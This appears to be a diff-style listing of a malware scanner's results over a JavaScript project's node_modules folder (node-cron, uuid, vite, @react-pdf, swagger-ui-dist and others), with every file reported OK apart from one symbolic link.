+/scan/node_modules/http-errors/HISTORY.md: OK
+/scan/node_modules/http-errors/index.js: OK
+/scan/node_modules/http-errors/README.md: OK
+/scan/node_modules/http-errors/package.json: OK
+/scan/node_modules/node-cron/LICENSE.md: OK
+/scan/node_modules/node-cron/.covignore: OK
+/scan/node_modules/node-cron/.eslintrc.yml: OK
+/scan/node_modules/node-cron/test/scheduler-test.js: OK
+/scan/node_modules/node-cron/test/background-scheduled-task-test.js: OK
+/scan/node_modules/node-cron/test/node-cron-test.js: OK
+/scan/node_modules/node-cron/test/pattern-validation/validate-minute-test.js: OK
+/scan/node_modules/node-cron/test/pattern-validation/validate-test.js: OK
+/scan/node_modules/node-cron/test/pattern-validation/validate-day-test.js: OK
+/scan/node_modules/node-cron/test/pattern-validation/validate-week-day-test.js: OK
+/scan/node_modules/node-cron/test/pattern-validation/validate-month-test.js: OK
+/scan/node_modules/node-cron/test/pattern-validation/validate-second-test.js: OK
+/scan/node_modules/node-cron/test/pattern-validation/validate-pattern-type.js: OK
+/scan/node_modules/node-cron/test/pattern-validation/validate-hours-test.js: OK
+/scan/node_modules/node-cron/test/storage-test.js: OK
+/scan/node_modules/node-cron/test/task-test.js: OK
+/scan/node_modules/node-cron/test/time-matcher-test.js: OK
+/scan/node_modules/node-cron/test/convert-expression/month-names-conversion-test.js: OK
+/scan/node_modules/node-cron/test/convert-expression/convert-expression-test.js: OK
+/scan/node_modules/node-cron/test/convert-expression/asterisk-to-range-conversion-test.js: OK
+/scan/node_modules/node-cron/test/convert-expression/range-conversion-test.js: OK
+/scan/node_modules/node-cron/test/convert-expression/week-day-names-conversion-test.js: OK
+/scan/node_modules/node-cron/test/convert-expression/step-values-conversion-test.js: OK
+/scan/node_modules/node-cron/test/scheduled-task-test.js: OK
+/scan/node_modules/node-cron/test/assets/dummy-task.js: OK
+/scan/node_modules/node-cron/node_modules/.bin/uuid: Symbolic link
+/scan/node_modules/node-cron/node_modules/uuid/LICENSE.md: OK
+/scan/node_modules/node-cron/node_modules/uuid/CHANGELOG.md: OK
+/scan/node_modules/node-cron/node_modules/uuid/dist/sha1.js: OK
+/scan/node_modules/node-cron/node_modules/uuid/dist/stringify.js: OK
+/scan/node_modules/node-cron/node_modules/uuid/dist/rng.js: OK
+/scan/node_modules/node-cron/node_modules/uuid/dist/sha1-browser.js: OK
+/scan/node_modules/node-cron/node_modules/uuid/dist/md5-browser.js: OK
+/scan/node_modules/node-cron/node_modules/uuid/dist/bin/uuid: OK
+/scan/node_modules/node-cron/node_modules/uuid/dist/umd/uuidValidate.min.js: OK
+/scan/node_modules/node-cron/node_modules/uuid/dist/umd/uuid.min.js: OK
+/scan/node_modules/node-cron/node_modules/uuid/dist/umd/uuidv5.min.js: OK
+/scan/node_modules/node-cron/node_modules/uuid/dist/umd/uuidParse.min.js: OK
+/scan/node_modules/node-cron/node_modules/uuid/dist/umd/uuidNIL.min.js: OK
+/scan/node_modules/node-cron/node_modules/uuid/dist/umd/uuidv1.min.js: OK
+/scan/node_modules/node-cron/node_modules/uuid/dist/umd/uuidv3.min.js: OK
+/scan/node_modules/node-cron/node_modules/uuid/dist/umd/uuidVersion.min.js: OK
+/scan/node_modules/node-cron/node_modules/uuid/dist/umd/uuidv4.min.js: OK
+/scan/node_modules/node-cron/node_modules/uuid/dist/umd/uuidStringify.min.js: OK
+/scan/node_modules/node-cron/node_modules/uuid/dist/v4.js: OK
+/scan/node_modules/node-cron/node_modules/uuid/dist/v1.js: OK
+/scan/node_modules/node-cron/node_modules/uuid/dist/index.js: OK
+/scan/node_modules/node-cron/node_modules/uuid/dist/v5.js: OK
+/scan/node_modules/node-cron/node_modules/uuid/dist/v35.js: OK
+/scan/node_modules/node-cron/node_modules/uuid/dist/version.js: OK
+/scan/node_modules/node-cron/node_modules/uuid/dist/parse.js: OK
+/scan/node_modules/node-cron/node_modules/uuid/dist/esm-browser/sha1.js: OK
+/scan/node_modules/node-cron/node_modules/uuid/dist/esm-browser/stringify.js: OK
+/scan/node_modules/node-cron/node_modules/uuid/dist/esm-browser/rng.js: OK
+/scan/node_modules/node-cron/node_modules/uuid/dist/esm-browser/v4.js: OK
+/scan/node_modules/node-cron/node_modules/uuid/dist/esm-browser/v1.js: OK
+/scan/node_modules/node-cron/node_modules/uuid/dist/esm-browser/index.js: OK
+/scan/node_modules/node-cron/node_modules/uuid/dist/esm-browser/v5.js: OK
+/scan/node_modules/node-cron/node_modules/uuid/dist/esm-browser/v35.js: OK
+/scan/node_modules/node-cron/node_modules/uuid/dist/esm-browser/version.js: OK
+/scan/node_modules/node-cron/node_modules/uuid/dist/esm-browser/parse.js: OK
+/scan/node_modules/node-cron/node_modules/uuid/dist/esm-browser/md5.js: OK
+/scan/node_modules/node-cron/node_modules/uuid/dist/esm-browser/v3.js: OK
+/scan/node_modules/node-cron/node_modules/uuid/dist/esm-browser/regex.js: OK
+/scan/node_modules/node-cron/node_modules/uuid/dist/esm-browser/validate.js: OK
+/scan/node_modules/node-cron/node_modules/uuid/dist/esm-browser/nil.js: OK
+/scan/node_modules/node-cron/node_modules/uuid/dist/uuid-bin.js: OK
+/scan/node_modules/node-cron/node_modules/uuid/dist/md5.js: OK
+/scan/node_modules/node-cron/node_modules/uuid/dist/v3.js: OK
+/scan/node_modules/node-cron/node_modules/uuid/dist/regex.js: OK
+/scan/node_modules/node-cron/node_modules/uuid/dist/esm-node/sha1.js: OK
+/scan/node_modules/node-cron/node_modules/uuid/dist/esm-node/stringify.js: OK
+/scan/node_modules/node-cron/node_modules/uuid/dist/esm-node/rng.js: OK
+/scan/node_modules/node-cron/node_modules/uuid/dist/esm-node/v4.js: OK
+/scan/node_modules/node-cron/node_modules/uuid/dist/esm-node/v1.js: OK
+/scan/node_modules/node-cron/node_modules/uuid/dist/esm-node/index.js: OK
+/scan/node_modules/node-cron/node_modules/uuid/dist/esm-node/v5.js: OK
+/scan/node_modules/node-cron/node_modules/uuid/dist/esm-node/v35.js: OK
+/scan/node_modules/node-cron/node_modules/uuid/dist/esm-node/version.js: OK
+/scan/node_modules/node-cron/node_modules/uuid/dist/esm-node/parse.js: OK
+/scan/node_modules/node-cron/node_modules/uuid/dist/esm-node/md5.js: OK
+/scan/node_modules/node-cron/node_modules/uuid/dist/esm-node/v3.js: OK
+/scan/node_modules/node-cron/node_modules/uuid/dist/esm-node/regex.js: OK
+/scan/node_modules/node-cron/node_modules/uuid/dist/esm-node/validate.js: OK
+/scan/node_modules/node-cron/node_modules/uuid/dist/esm-node/nil.js: OK
+/scan/node_modules/node-cron/node_modules/uuid/dist/rng-browser.js: OK
+/scan/node_modules/node-cron/node_modules/uuid/dist/validate.js: OK
+/scan/node_modules/node-cron/node_modules/uuid/dist/nil.js: OK
+/scan/node_modules/node-cron/node_modules/uuid/wrapper.mjs: OK
+/scan/node_modules/node-cron/node_modules/uuid/README.md: OK
+/scan/node_modules/node-cron/node_modules/uuid/package.json: OK
+/scan/node_modules/node-cron/node_modules/uuid/CONTRIBUTING.md: OK
+/scan/node_modules/node-cron/README.md: OK
+/scan/node_modules/node-cron/package.json: OK
+/scan/node_modules/node-cron/.github/stale.yml: OK
+/scan/node_modules/node-cron/.circleci/config.yml: OK
+/scan/node_modules/node-cron/src/scheduled-task.js: OK
+/scan/node_modules/node-cron/src/background-scheduled-task/index.js: OK
+/scan/node_modules/node-cron/src/background-scheduled-task/daemon.js: OK
+/scan/node_modules/node-cron/src/pattern-validation.js: OK
+/scan/node_modules/node-cron/src/task.js: OK
+/scan/node_modules/node-cron/src/scheduler.js: OK
+/scan/node_modules/node-cron/src/convert-expression/week-day-names-conversion.js: OK
+/scan/node_modules/node-cron/src/convert-expression/step-values-conversion.js: OK
+/scan/node_modules/node-cron/src/convert-expression/index.js: OK
+/scan/node_modules/node-cron/src/convert-expression/asterisk-to-range-conversion.js: OK
+/scan/node_modules/node-cron/src/convert-expression/month-names-conversion.js: OK
+/scan/node_modules/node-cron/src/convert-expression/range-conversion.js: OK
+/scan/node_modules/node-cron/src/time-matcher.js: OK
+/scan/node_modules/node-cron/src/node-cron.js: OK
+/scan/node_modules/node-cron/src/storage.js: OK
+/scan/node_modules/cac/deno/deno.ts: OK
+/scan/node_modules/cac/deno/utils.ts: OK
+/scan/node_modules/cac/deno/Option.ts: OK
+/scan/node_modules/cac/deno/index.ts: OK
+/scan/node_modules/cac/deno/Command.ts: OK
+/scan/node_modules/cac/deno/CAC.ts: OK
+/scan/node_modules/cac/mod.ts: OK
+/scan/node_modules/cac/index-compat.js: OK
+/scan/node_modules/cac/LICENSE: OK
+/scan/node_modules/cac/dist/index.js: OK
+/scan/node_modules/cac/dist/index.mjs: OK
+/scan/node_modules/cac/dist/index.d.ts: OK
+/scan/node_modules/cac/README.md: OK
+/scan/node_modules/cac/package.json: OK
+/scan/node_modules/cac/mod.js: OK
+/scan/node_modules/append-field/.npmignore: OK
+/scan/node_modules/append-field/LICENSE: OK
+/scan/node_modules/append-field/test/forms.js: OK
+/scan/node_modules/append-field/index.js: OK
+/scan/node_modules/append-field/README.md: OK
+/scan/node_modules/append-field/package.json: OK
+/scan/node_modules/append-field/lib/set-value.js: OK
+/scan/node_modules/append-field/lib/parse-path.js: OK
+/scan/node_modules/leac/LICENSE: OK
+/scan/node_modules/leac/CHANGELOG.md: OK
+/scan/node_modules/leac/README.md: OK
+/scan/node_modules/leac/package.json: OK
+/scan/node_modules/leac/lib/leac.cjs: OK
+/scan/node_modules/leac/lib/leac.mjs: OK
+/scan/node_modules/leac/lib/leac.d.ts: OK
+/scan/node_modules/vite/LICENSE.md: OK
+/scan/node_modules/vite/types/hmrPayload.d.ts: OK
+/scan/node_modules/vite/types/hot.d.ts: OK
+/scan/node_modules/vite/types/metadata.d.ts: OK
+/scan/node_modules/vite/types/customEvent.d.ts: OK
+/scan/node_modules/vite/types/importGlob.d.ts: OK
+/scan/node_modules/vite/types/package.json: OK
+/scan/node_modules/vite/types/importMeta.d.ts: OK
+/scan/node_modules/vite/types/import-meta.d.ts: OK
+/scan/node_modules/vite/bin/openChrome.applescript: OK
+/scan/node_modules/vite/bin/vite.js: OK
+/scan/node_modules/vite/dist/node/constants.js: OK
+/scan/node_modules/vite/dist/node/runtime.d.ts: OK
+/scan/node_modules/vite/dist/node/runtime.js: OK
+/scan/node_modules/vite/dist/node/types.d-aGj9QkWt.d.ts: OK
+/scan/node_modules/vite/dist/node/index.js: OK
+/scan/node_modules/vite/dist/node/chunks/dep-IQS-Za7F.js: OK
+/scan/node_modules/vite/dist/node/chunks/dep-BB45zftN.js: OK
+/scan/node_modules/vite/dist/node/chunks/dep-D-7KCb9p.js: OK
+/scan/node_modules/vite/dist/node/chunks/dep-Dnp7gl8U.js: OK
+/scan/node_modules/vite/dist/node/chunks/dep-BK3b2jBa.js: OK
+/scan/node_modules/vite/dist/node/cli.js: OK
+/scan/node_modules/vite/dist/node/index.d.ts: OK
+/scan/node_modules/vite/dist/client/client.mjs: OK
+/scan/node_modules/vite/dist/client/env.mjs: OK
+/scan/node_modules/vite/dist/node-cjs/publicUtils.cjs: OK
+/scan/node_modules/vite/index.d.cts: OK
+/scan/node_modules/vite/README.md: OK
+/scan/node_modules/vite/package.json: OK
+/scan/node_modules/vite/index.cjs: OK
+/scan/node_modules/vite/client.d.ts: OK
+/scan/node_modules/ecdsa-sig-formatter/LICENSE: OK
+/scan/node_modules/ecdsa-sig-formatter/CODEOWNERS: OK
+/scan/node_modules/ecdsa-sig-formatter/README.md: OK
+/scan/node_modules/ecdsa-sig-formatter/package.json: OK
+/scan/node_modules/ecdsa-sig-formatter/src/param-bytes-for-alg.js: OK
+/scan/node_modules/ecdsa-sig-formatter/src/ecdsa-sig-formatter.d.ts: OK
+/scan/node_modules/ecdsa-sig-formatter/src/ecdsa-sig-formatter.js: OK
+/scan/node_modules/@react-pdf/renderer/README.md: OK
+/scan/node_modules/@react-pdf/renderer/package.json: OK
+/scan/node_modules/@react-pdf/renderer/lib/react-pdf.d.cts: OK
+/scan/node_modules/@react-pdf/renderer/lib/react-pdf.browser.cjs.map: OK
+/scan/node_modules/@react-pdf/renderer/lib/react-pdf.min.d.cts: OK
+/scan/node_modules/@react-pdf/renderer/lib/react-pdf.js: OK
+/scan/node_modules/@react-pdf/renderer/lib/react-pdf.min.d.ts: OK
+/scan/node_modules/@react-pdf/renderer/lib/react-pdf.min.cjs: OK
+/scan/node_modules/@react-pdf/renderer/lib/react-pdf.browser.d.ts: OK
+/scan/node_modules/@react-pdf/renderer/lib/react-pdf.browser.js: OK
+/scan/node_modules/@react-pdf/renderer/lib/react-pdf.browser.cjs: OK
+/scan/node_modules/@react-pdf/renderer/lib/react-pdf.browser.min.d.cts: OK
+/scan/node_modules/@react-pdf/renderer/lib/react-pdf.cjs: OK
+/scan/node_modules/@react-pdf/renderer/lib/react-pdf.browser.js.map: OK
+/scan/node_modules/@react-pdf/renderer/lib/react-pdf.cjs.map: OK
+/scan/node_modules/@react-pdf/renderer/lib/react-pdf.browser.min.cjs: OK
+/scan/node_modules/@react-pdf/renderer/lib/react-pdf.min.js: OK
+/scan/node_modules/@react-pdf/renderer/lib/react-pdf.d.ts: OK
+/scan/node_modules/@react-pdf/renderer/lib/react-pdf.browser.min.js: OK
+/scan/node_modules/@react-pdf/renderer/lib/react-pdf.browser.d.cts: OK
+/scan/node_modules/@react-pdf/renderer/lib/react-pdf.browser.min.d.ts: OK
+/scan/node_modules/@react-pdf/renderer/lib/react-pdf.js.map: OK
+/scan/node_modules/@react-pdf/renderer/index.d.ts: OK
+/scan/node_modules/@react-pdf/types/CHANGELOG.md: OK
+/scan/node_modules/@react-pdf/types/node_modules/color-string/LICENSE: OK
+/scan/node_modules/@react-pdf/types/node_modules/color-string/index.js: OK
+/scan/node_modules/@react-pdf/types/node_modules/color-string/README.md: OK
+/scan/node_modules/@react-pdf/types/node_modules/color-string/package.json: OK
+/scan/node_modules/@react-pdf/types/node_modules/color-string/index.d.ts: OK
+/scan/node_modules/@react-pdf/types/node_modules/color-name/LICENSE: OK
+/scan/node_modules/@react-pdf/types/node_modules/color-name/index.js: OK
+/scan/node_modules/@react-pdf/types/node_modules/color-name/README.md: OK
+/scan/node_modules/@react-pdf/types/node_modules/color-name/package.json: OK
+/scan/node_modules/@react-pdf/types/node_modules/@react-pdf/stylesheet/README.md: OK
+/scan/node_modules/@react-pdf/types/node_modules/@react-pdf/stylesheet/package.json: OK
+/scan/node_modules/@react-pdf/types/node_modules/@react-pdf/stylesheet/lib/index.js: OK
+/scan/node_modules/@react-pdf/types/node_modules/@react-pdf/stylesheet/lib/index.d.ts: OK
+/scan/node_modules/@react-pdf/types/node_modules/@react-pdf/fns/README.md: OK
+/scan/node_modules/@react-pdf/types/node_modules/@react-pdf/fns/package.json: OK
+/scan/node_modules/@react-pdf/types/node_modules/@react-pdf/fns/lib/index.js: OK
+/scan/node_modules/@react-pdf/types/node_modules/@react-pdf/fns/lib/index.d.ts: OK
+/scan/node_modules/@react-pdf/types/node_modules/@react-pdf/pdfkit/LICENSE: OK
+/scan/node_modules/@react-pdf/types/node_modules/@react-pdf/pdfkit/README.md: OK
+/scan/node_modules/@react-pdf/types/node_modules/@react-pdf/pdfkit/package.json: OK
+/scan/node_modules/@react-pdf/types/node_modules/@react-pdf/pdfkit/lib/pdfkit.browser.js: OK
+/scan/node_modules/@react-pdf/types/node_modules/@react-pdf/pdfkit/lib/pdfkit.js: OK
+/scan/node_modules/@react-pdf/types/node_modules/@react-pdf/primitives/README.md: OK
+/scan/node_modules/@react-pdf/types/node_modules/@react-pdf/primitives/package.json: OK
+/scan/node_modules/@react-pdf/types/node_modules/@react-pdf/primitives/lib/index.js: OK
+/scan/node_modules/@react-pdf/types/node_modules/@react-pdf/primitives/lib/index.d.ts: OK
+/scan/node_modules/@react-pdf/types/node_modules/@react-pdf/font/README.md: OK
+/scan/node_modules/@react-pdf/types/node_modules/@react-pdf/font/package.json: OK
+/scan/node_modules/@react-pdf/types/node_modules/@react-pdf/font/lib/index.browser.js: OK
+/scan/node_modules/@react-pdf/types/node_modules/@react-pdf/font/lib/index.js: OK
+/scan/node_modules/@react-pdf/types/node_modules/@react-pdf/font/lib/index.d.ts: OK
+/scan/node_modules/@react-pdf/types/style.d.ts: OK
+/scan/node_modules/@react-pdf/types/primitive.d.ts: OK
+/scan/node_modules/@react-pdf/types/README.md: OK
+/scan/node_modules/@react-pdf/types/pdf.d.ts: OK
+/scan/node_modules/@react-pdf/types/svg.d.ts: OK
+/scan/node_modules/@react-pdf/types/font.d.ts: OK
+/scan/node_modules/@react-pdf/types/package.json: OK
+/scan/node_modules/@react-pdf/types/context.d.ts: OK
+/scan/node_modules/@react-pdf/types/hitslop.d.ts: OK
+/scan/node_modules/@react-pdf/types/index.d.ts: OK
+/scan/node_modules/@react-pdf/types/image.d.ts: OK
+/scan/node_modules/@react-pdf/types/node.d.ts: OK
+/scan/node_modules/@react-pdf/types/bookmark.d.ts: OK
+/scan/node_modules/@react-pdf/types/page.d.ts: OK
+/scan/node_modules/@react-pdf/stylesheet/README.md: OK
+/scan/node_modules/@react-pdf/stylesheet/package.json: OK
+/scan/node_modules/@react-pdf/stylesheet/lib/index.js: OK
+/scan/node_modules/@react-pdf/stylesheet/lib/index.cjs: OK
+/scan/node_modules/@react-pdf/layout/README.md: OK
+/scan/node_modules/@react-pdf/layout/package.json: OK
+/scan/node_modules/@react-pdf/layout/lib/index.js: OK
+/scan/node_modules/@react-pdf/layout/lib/index.cjs: OK
+/scan/node_modules/@react-pdf/fns/README.md: OK
+/scan/node_modules/@react-pdf/fns/package.json: OK
+/scan/node_modules/@react-pdf/fns/lib/index.js: OK
+/scan/node_modules/@react-pdf/fns/lib/index.cjs: OK
+/scan/node_modules/@react-pdf/pdfkit/LICENSE: OK
+/scan/node_modules/@react-pdf/pdfkit/README.md: OK
+/scan/node_modules/@react-pdf/pdfkit/package.json: OK
+/scan/node_modules/@react-pdf/pdfkit/lib/pdfkit.browser.js: OK
+/scan/node_modules/@react-pdf/pdfkit/lib/pdfkit.cjs: OK
+/scan/node_modules/@react-pdf/pdfkit/lib/pdfkit.browser.min.js: OK
+/scan/node_modules/@react-pdf/pdfkit/lib/pdfkit.browser.min.cjs: OK
+/scan/node_modules/@react-pdf/pdfkit/lib/pdfkit.browser.cjs: OK
+/scan/node_modules/@react-pdf/pdfkit/lib/pdfkit.min.js: OK
+/scan/node_modules/@react-pdf/pdfkit/lib/pdfkit.js: OK
+/scan/node_modules/@react-pdf/pdfkit/lib/pdfkit.min.cjs: OK
+/scan/node_modules/@react-pdf/render/README.md: OK
+/scan/node_modules/@react-pdf/render/package.json: OK
+/scan/node_modules/@react-pdf/render/lib/index.js: OK
+/scan/node_modules/@react-pdf/render/lib/index.cjs: OK
+/scan/node_modules/@react-pdf/image/README.md: OK
+/scan/node_modules/@react-pdf/image/package.json: OK
+/scan/node_modules/@react-pdf/image/lib/index.browser.js: OK
+/scan/node_modules/@react-pdf/image/lib/index.js: OK
+/scan/node_modules/@react-pdf/image/lib/index.browser.cjs: OK
+/scan/node_modules/@react-pdf/image/lib/index.cjs: OK
+/scan/node_modules/@react-pdf/primitives/README.md: OK
+/scan/node_modules/@react-pdf/primitives/package.json: OK
+/scan/node_modules/@react-pdf/primitives/lib/index.cjs: OK
+/scan/node_modules/@react-pdf/primitives/src/index.js: OK
+/scan/node_modules/@react-pdf/png-js/LICENSE: OK
+/scan/node_modules/@react-pdf/png-js/README.md: OK
+/scan/node_modules/@react-pdf/png-js/package.json: OK
+/scan/node_modules/@react-pdf/png-js/lib/png-js.browser.cjs: OK
+/scan/node_modules/@react-pdf/png-js/lib/png-js.cjs: OK
+/scan/node_modules/@react-pdf/png-js/lib/png-js.browser.js: OK
+/scan/node_modules/@react-pdf/png-js/lib/png-js.js: OK
+/scan/node_modules/@react-pdf/textkit/README.md: OK
+/scan/node_modules/@react-pdf/textkit/package.json: OK
+/scan/node_modules/@react-pdf/textkit/lib/textkit.cjs: OK
+/scan/node_modules/@react-pdf/textkit/lib/textkit.js: OK
+/scan/node_modules/@react-pdf/font/README.md: OK
+/scan/node_modules/@react-pdf/font/package.json: OK
+/scan/node_modules/@react-pdf/font/lib/index.browser.js: OK
+/scan/node_modules/@react-pdf/font/lib/index.js: OK
+/scan/node_modules/@react-pdf/font/lib/index.browser.cjs: OK
+/scan/node_modules/@react-pdf/font/lib/index.cjs: OK
+/scan/node_modules/editorconfig/LICENSE: OK
+/scan/node_modules/editorconfig/bin/editorconfig: OK
+/scan/node_modules/editorconfig/node_modules/brace-expansion/LICENSE: OK
+/scan/node_modules/editorconfig/node_modules/brace-expansion/index.js: OK
+/scan/node_modules/editorconfig/node_modules/brace-expansion/README.md: OK
+/scan/node_modules/editorconfig/node_modules/brace-expansion/package.json: OK
+/scan/node_modules/editorconfig/node_modules/brace-expansion/.github/FUNDING.yml: OK
+/scan/node_modules/editorconfig/node_modules/minimatch/LICENSE: OK
+/scan/node_modules/editorconfig/node_modules/minimatch/dist/esm/ast.d.ts.map: OK
+/scan/node_modules/editorconfig/node_modules/minimatch/dist/esm/ast.js.map: OK
+/scan/node_modules/editorconfig/node_modules/minimatch/dist/esm/brace-expressions.js.map: OK
+/scan/node_modules/editorconfig/node_modules/minimatch/dist/esm/escape.d.ts: OK
+/scan/node_modules/editorconfig/node_modules/minimatch/dist/esm/brace-expressions.d.ts.map: OK
+/scan/node_modules/editorconfig/node_modules/minimatch/dist/esm/unescape.js.map: OK
+/scan/node_modules/editorconfig/node_modules/minimatch/dist/esm/escape.d.ts.map: OK
+/scan/node_modules/editorconfig/node_modules/minimatch/dist/esm/escape.js: OK
+/scan/node_modules/editorconfig/node_modules/minimatch/dist/esm/unescape.d.ts.map: OK
+/scan/node_modules/editorconfig/node_modules/minimatch/dist/esm/index.js: OK
+/scan/node_modules/editorconfig/node_modules/minimatch/dist/esm/unescape.d.ts: OK
+/scan/node_modules/editorconfig/node_modules/minimatch/dist/esm/package.json: OK
+/scan/node_modules/editorconfig/node_modules/minimatch/dist/esm/brace-expressions.js: OK
+/scan/node_modules/editorconfig/node_modules/minimatch/dist/esm/assert-valid-pattern.d.ts.map: OK
+/scan/node_modules/editorconfig/node_modules/minimatch/dist/esm/index.js.map: OK
+/scan/node_modules/editorconfig/node_modules/minimatch/dist/esm/unescape.js: OK
+/scan/node_modules/editorconfig/node_modules/minimatch/dist/esm/assert-valid-pattern.js.map: OK
+/scan/node_modules/editorconfig/node_modules/minimatch/dist/esm/escape.js.map: OK
+/scan/node_modules/editorconfig/node_modules/minimatch/dist/esm/index.d.ts: OK
+/scan/node_modules/editorconfig/node_modules/minimatch/dist/esm/brace-expressions.d.ts: OK
+/scan/node_modules/editorconfig/node_modules/minimatch/dist/esm/assert-valid-pattern.js: OK
+/scan/node_modules/editorconfig/node_modules/minimatch/dist/esm/ast.d.ts: OK
+/scan/node_modules/editorconfig/node_modules/minimatch/dist/esm/assert-valid-pattern.d.ts: OK
+/scan/node_modules/editorconfig/node_modules/minimatch/dist/esm/ast.js: OK
+/scan/node_modules/editorconfig/node_modules/minimatch/dist/esm/index.d.ts.map: OK
+/scan/node_modules/editorconfig/node_modules/minimatch/dist/commonjs/ast.d.ts.map: OK
+/scan/node_modules/editorconfig/node_modules/minimatch/dist/commonjs/ast.js.map: OK
+/scan/node_modules/editorconfig/node_modules/minimatch/dist/commonjs/brace-expressions.js.map: OK
+/scan/node_modules/editorconfig/node_modules/minimatch/dist/commonjs/escape.d.ts: OK
+/scan/node_modules/editorconfig/node_modules/minimatch/dist/commonjs/brace-expressions.d.ts.map: OK
+/scan/node_modules/editorconfig/node_modules/minimatch/dist/commonjs/unescape.js.map: OK
+/scan/node_modules/editorconfig/node_modules/minimatch/dist/commonjs/escape.d.ts.map: OK
+/scan/node_modules/editorconfig/node_modules/minimatch/dist/commonjs/escape.js: OK
+/scan/node_modules/editorconfig/node_modules/minimatch/dist/commonjs/unescape.d.ts.map: OK
+/scan/node_modules/editorconfig/node_modules/minimatch/dist/commonjs/index.js: OK
+/scan/node_modules/editorconfig/node_modules/minimatch/dist/commonjs/unescape.d.ts: OK
+/scan/node_modules/editorconfig/node_modules/minimatch/dist/commonjs/package.json: OK
+/scan/node_modules/editorconfig/node_modules/minimatch/dist/commonjs/brace-expressions.js: OK
+/scan/node_modules/editorconfig/node_modules/minimatch/dist/commonjs/assert-valid-pattern.d.ts.map: OK
+/scan/node_modules/editorconfig/node_modules/minimatch/dist/commonjs/index.js.map: OK
+/scan/node_modules/editorconfig/node_modules/minimatch/dist/commonjs/unescape.js: OK
+/scan/node_modules/editorconfig/node_modules/minimatch/dist/commonjs/assert-valid-pattern.js.map: OK
+/scan/node_modules/editorconfig/node_modules/minimatch/dist/commonjs/escape.js.map: OK
+/scan/node_modules/editorconfig/node_modules/minimatch/dist/commonjs/index.d.ts: OK
+/scan/node_modules/editorconfig/node_modules/minimatch/dist/commonjs/brace-expressions.d.ts: OK
+/scan/node_modules/editorconfig/node_modules/minimatch/dist/commonjs/assert-valid-pattern.js: OK
+/scan/node_modules/editorconfig/node_modules/minimatch/dist/commonjs/ast.d.ts: OK
+/scan/node_modules/editorconfig/node_modules/minimatch/dist/commonjs/assert-valid-pattern.d.ts: OK
+/scan/node_modules/editorconfig/node_modules/minimatch/dist/commonjs/ast.js: OK
+/scan/node_modules/editorconfig/node_modules/minimatch/dist/commonjs/index.d.ts.map: OK
+/scan/node_modules/editorconfig/node_modules/minimatch/README.md: OK
+/scan/node_modules/editorconfig/node_modules/minimatch/package.json: OK
+/scan/node_modules/editorconfig/README.md: OK
+/scan/node_modules/editorconfig/package.json: OK
+/scan/node_modules/editorconfig/lib/cli.d.ts: OK
+/scan/node_modules/editorconfig/lib/index.js: OK
+/scan/node_modules/editorconfig/lib/cli.js: OK
+/scan/node_modules/editorconfig/lib/index.d.ts: OK
+/scan/node_modules/minimatch/LICENSE: OK
+/scan/node_modules/minimatch/README.md: OK
+/scan/node_modules/minimatch/package.json: OK
+/scan/node_modules/minimatch/minimatch.js: OK
+/scan/node_modules/postcss-value-parser/LICENSE: OK
+/scan/node_modules/postcss-value-parser/README.md: OK
+/scan/node_modules/postcss-value-parser/package.json: OK
+/scan/node_modules/postcss-value-parser/lib/stringify.js: OK
+/scan/node_modules/postcss-value-parser/lib/index.js: OK
+/scan/node_modules/postcss-value-parser/lib/parse.js: OK
+/scan/node_modules/postcss-value-parser/lib/walk.js: OK
+/scan/node_modules/postcss-value-parser/lib/index.d.ts: OK
+/scan/node_modules/postcss-value-parser/lib/unit.js: OK
+/scan/node_modules/swagger-ui-dist/swagger-ui-es-bundle-core.js.map: OK
+/scan/node_modules/swagger-ui-dist/favicon-16x16.png: OK
+/scan/node_modules/swagger-ui-dist/index.html: OK
+/scan/node_modules/swagger-ui-dist/swagger-ui-standalone-preset.js.LICENSE.txt: OK
+/scan/node_modules/swagger-ui-dist/LICENSE: OK
+/scan/node_modules/swagger-ui-dist/swagger-ui.js: OK
+/scan/node_modules/swagger-ui-dist/oauth2-redirect.js: OK
+/scan/node_modules/swagger-ui-dist/swagger-ui-es-bundle-core.js: OK
+/scan/node_modules/swagger-ui-dist/swagger-ui-standalone-preset.js.map: OK
+/scan/node_modules/swagger-ui-dist/swagger-ui.css: OK
+/scan/node_modules/swagger-ui-dist/swagger-ui-bundle.js.LICENSE.txt: OK
+/scan/node_modules/swagger-ui-dist/swagger-ui.js.map: OK
+/scan/node_modules/swagger-ui-dist/swagger-ui-bundle.js: OK
+/scan/node_modules/swagger-ui-dist/index.js: OK
+/scan/node_modules/swagger-ui-dist/index.css: OK
+/scan/node_modules/swagger-ui-dist/swagger-ui-es-bundle-core.js.LICENSE.txt: OK
+/scan/node_modules/swagger-ui-dist/swagger-ui-es-bundle.js.map: OK
+/scan/node_modules/swagger-ui-dist/log.es-bundle-sizes.swagger-ui.txt: OK
+/scan/node_modules/swagger-ui-dist/absolute-path.js: OK
+/scan/node_modules/swagger-ui-dist/swagger-ui.css.map: OK
+/scan/node_modules/swagger-ui-dist/NOTICE: OK
+/scan/node_modules/swagger-ui-dist/README.md: OK
+/scan/node_modules/swagger-ui-dist/swagger-ui-standalone-preset.js: OK
+/scan/node_modules/swagger-ui-dist/package.json: OK
+/scan/node_modules/swagger-ui-dist/swagger-initializer.js: OK
+/scan/node_modules/swagger-ui-dist/swagger-ui-es-bundle.js: OK
+/scan/node_modules/swagger-ui-dist/swagger-ui-bundle.js.map: OK
+/scan/node_modules/swagger-ui-dist/log.bundle-sizes.swagger-ui.txt: OK
+/scan/node_modules/swagger-ui-dist/log.es-bundle-core-sizes.swagger-ui.txt: OK
+/scan/node_modules/swagger-ui-dist/oauth2-redirect.html: OK
+/scan/node_modules/swagger-ui-dist/swagger-ui-es-bundle.js.LICENSE.txt: OK
+/scan/node_modules/swagger-ui-dist/favicon-32x32.png: OK
+/scan/node_modules/accepts/LICENSE: OK
+/scan/node_modules/accepts/HISTORY.md: OK
+/scan/node_modules/accepts/index.js: OK
+/scan/node_modules/accepts/README.md: OK
+/scan/node_modules/accepts/package.json: OK
+/scan/node_modules/loupe/LICENSE: OK
+/scan/node_modules/loupe/CHANGELOG.md: OK
+/scan/node_modules/loupe/index.js: OK
+/scan/node_modules/loupe/loupe.js: OK
+/scan/node_modules/loupe/README.md: OK
+/scan/node_modules/loupe/package.json: OK
+/scan/node_modules/loupe/lib/html.js: OK
+/scan/node_modules/loupe/lib/number.js: OK
+/scan/node_modules/loupe/lib/typedarray.js: OK
+/scan/node_modules/loupe/lib/arguments.js: OK
+/scan/node_modules/loupe/lib/symbol.js: OK
+/scan/node_modules/loupe/lib/bigint.js: OK
+/scan/node_modules/loupe/lib/promise.js: OK
